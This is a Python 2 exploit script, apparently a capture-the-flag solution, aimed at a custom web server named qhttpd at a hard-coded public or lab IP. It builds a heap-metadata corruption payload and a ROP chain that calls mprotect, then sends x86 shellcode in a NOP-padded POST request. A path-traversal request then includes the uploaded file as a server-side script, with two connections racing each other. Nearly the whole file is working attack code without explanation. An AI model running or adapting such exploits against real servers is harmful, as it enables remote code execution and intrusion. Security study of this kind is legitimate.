qhttpd.py

from socket import *
from time import time, sleep
from struct import pack
from sys import argv

if len(argv) >= 2:
    HOST = "107.189.94.25"
else :
    HOST = "192.168.174.165"
OFFSET = 1
shellcode = "\x81\xc4\x00\x80\x01\x00\xbb\xb4\xcc\x37\xb0\xeb\x0e\xb8\xa0\x56\x35\xb0\xff\xd0\xb8\xe0\xb7\x32\xb0\xff\xd0\xe8\xed\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x5c\x78\x30\x30"

def myrepr(val):
    return '"' + repr(val)[1:-1] + '"'

def main(fd):
    offset = 48
    libc_addr = 0xb0300000
    default_addr = 0x8068740
    v1_addr = default_addr
    barena_addr = v1_addr + 4
    dummy_prevnode_addr = barena_addr + 12
    chunk_addr = dummy_prevnode_addr + 28
    ptr_addr = chunk_addr + 4
    data1_stack_addr = ptr_addr + 8
    v3_addr = dummy_prevnode_addr + 16
    dummy_data_addr = 0x8066270
    dummy_stack_addr = 0x08058001
    fd_addr = data1_stack_addr + 8
    target_addr = 0x08058E40
    pop3 = 0x08049BAE
    pop2 = 0x08049BAF
    pop1 = 0x08049BB0
    leave_ret = 0x0804F43A
    read_addr = 0x08049734
    mprotect_addr = libc_addr + 0x1E950

    assert(dummy_prevnode_addr - chunk_addr < 0)
    dummy_prevnode = "NHOY"
    dummy_prevnode += pack("<I", 0xffffffff)
    dummy_prevnode += pack("<I", dummy_data_addr) 
    dummy_prevnode += pack("<I", target_addr-8)
    dummy_prevnode += pack("<I", v3_addr)
    dummy_prevnode += pack("<H", 0x0805) + pack("<H", 0x0805)
    dummy_prevnode += pack("<i", dummy_prevnode_addr-32-barena_addr)
    assert(len(dummy_prevnode) == 28)

    chunk = pack("<i", dummy_prevnode_addr-chunk_addr)
    ptr = pack("<i", dummy_prevnode_addr-32-barena_addr) * 2
    v1 = pack("<I", 0xdeadbeef)
    barena = "a" * 8 + pack("<I", v1_addr-20)

    dummy_data = pack("<I", dummy_data_addr+4)
    dummy_data += pack("<I", 0xfeedface) # edi
    dummy_data += pack("<I", 0x80808081+fd) # esi
    dummy_data += pack("<I", 0x80808081+fd) # ebp
    dummy_data += pack("<I", libc_addr + 0x2BF88)
    dummy_data += pack("<I", 0xffffffff) # ebx
    dummy_data += pack("<I", (0x108058d06 - 0x5D5BEB75)/9) # edx
    dummy_data += pack("<I", fd_addr) # ecx
    dummy_data += pack("<I", 0xcccccccc)
    dummy_data += pack("<I", 0x0804d8be) #add
    dummy_data += pack("<I", 0xaaaaaaaa)
    dummy_data += pack("<I", 0xbbbbbbbb)
    dummy_data += pack("<I", data1_stack_addr) # esp

    assert(len(dummy_data) <= 64)
    dummy_data = dummy_data.ljust(64, "\x01")
    data1 = v1 + barena + dummy_prevnode + chunk + ptr
    data1 += pack("<I", read_addr)
    data1 += pack("<I", pop3)
    data1 += pack("<I", 0x7f7f7f7f) #fd
    data1 += pack("<I", dummy_stack_addr)
    data1 += pack("<I", 0x01010101)
    data1 += pack("<I", pop1-1)
    data1 += pack("<I", dummy_stack_addr)
    data1 += pack("<I", leave_ret)
    
    assert(len(data1) <= 96)
    data1 = data1.ljust(96, '\x01')

    assert(not "\x00" in v1)
    assert(not "\x00" in barena)
    assert(not "\x00" in chunk)
    assert(not "\x00" in ptr)
    assert(not "\x00" in dummy_data)
    print "payload:", len(data1)
    print "stack:", len(dummy_data)
    script = """<@ payload = {payload}; tmpdata = "\\x01\\x01\\x01\\x01"; stack = {stack}; printf("%p\\n", stack); printf("%p", {inc}payload); @>""".format(payload=myrepr(data1), stack=myrepr(dummy_data), inc="++"*offset)
    print script

    #with open("payload.shtml") as f:
    #    script = f.read()

    #script = script.replace("\n", " ")

    shellcode_addr = dummy_stack_addr + 72
    data = "a" * 3
    data += pack("<I", 0x08054A50) # add 0x1c + 4 * 4
    data += "=aa&name=hog&email=a"
    data += "a" * 24
    data += pack("<I", mprotect_addr)
    data += pack("<I", shellcode_addr)
    data += pack("<I", shellcode_addr & 0x1000) # addr
    data += pack("<I", 0x3000) # len
    data += pack("<I", 0x700) # prot
    data += shellcode
    data = data.ljust(8000, "\x90")

    request = "POST /?page=index&DEBUG=on HTTP/1.1\r\n"
    request += "Host: {}\r\n".format(HOST)
    request += "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0\r\n"
    request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    request += "Accept-Language: ja,en-US;q=0.7,en;q=0.3\r\n"
    request += "Accept-Encoding: gzip, deflate\r\n"
    request += "Referer: http://{}/?page=contact".format(HOST)
    request += "Connection: keep-alive\r\n"
    request += "Content-Type: application/x-www-form-urlencoded\r\n"
    request += "Content-Length: {}\r\n\r\n".format(len(data))
    request3 = request

    request += data
    request3 += "name={}&email={}".format(script, "A"*80)
 
    p1 = socket(AF_INET, SOCK_STREAM)
    p1.connect((HOST, 80))
    p1.sendall(request)
    res = ""
    while not ("/uploads/" in res and ".0" in res):
        _s = p1.recv(1024)
        print [_s]
        if not _s:
            assert(0)
        res += _s

    data = res.split("/uploads/")[1].split("//")
    dirnum = int(data[0], 16) + OFFSET
    path = data[1].split(".0")[0]
    paddedhex = hex(dirnum)[2:].upper().rjust(13, "0")

    request2 = "GET /?page=../uploads/{}/{}&DEBUG=on&SCRIPT_EXT=.0 HTTP/1.1\r\n".format(paddedhex, path)
    request2 += "Host: {}\r\n".format(HOST)
    request2 += "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0\r\n"
    request2 += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    request2 += "Accept-Language: ja,en-US;q=0.7,en;q=0.3\r\n"
    request2 += "Accept-Encoding: gzip, deflate\r\n"
    request2 += "Referer: http://{}/?page=contact".format(HOST)
    request2 += "Connection: keep-alive\r\n\r\n"

    p = socket(AF_INET, SOCK_STREAM)
    p.connect((HOST, 80))
    p2 = socket(AF_INET, SOCK_STREAM)
    p2.connect((HOST, 80))
    
    p.sendall(request3)
    p2.sendall(request2)

    print [p1.recv(1024)]
    print [p1.recv(1024)]
    print [p1.recv(1024)]
    print [p1.recv(1024)]
    print [p1.recv(1024)]
    print [p1.recv(1024)]
    print [p1.recv(1024)]
    print [p1.recv(1024)]
    print [p1.recv(1024)]
    print [p1.recv(1024)]
    res = ""
    while not "&email=" in res:
        _s = p2.recv(1024)
        print repr(_s)
        if not _s:
            if "name=" in res:
                print repr(res.split("name=")[1])
                return 1, res.split("name=\n")[1]
            else :
                return 0, ""
        if "File not found" in res:
            return 0, ""
        res += _s
    print repr(res.split("name=")[1].split("&email=")[0])
    return 1, res.split("name=\n")[1].split("\n&email=")[0]

if __name__ == "__main__":
    main(4)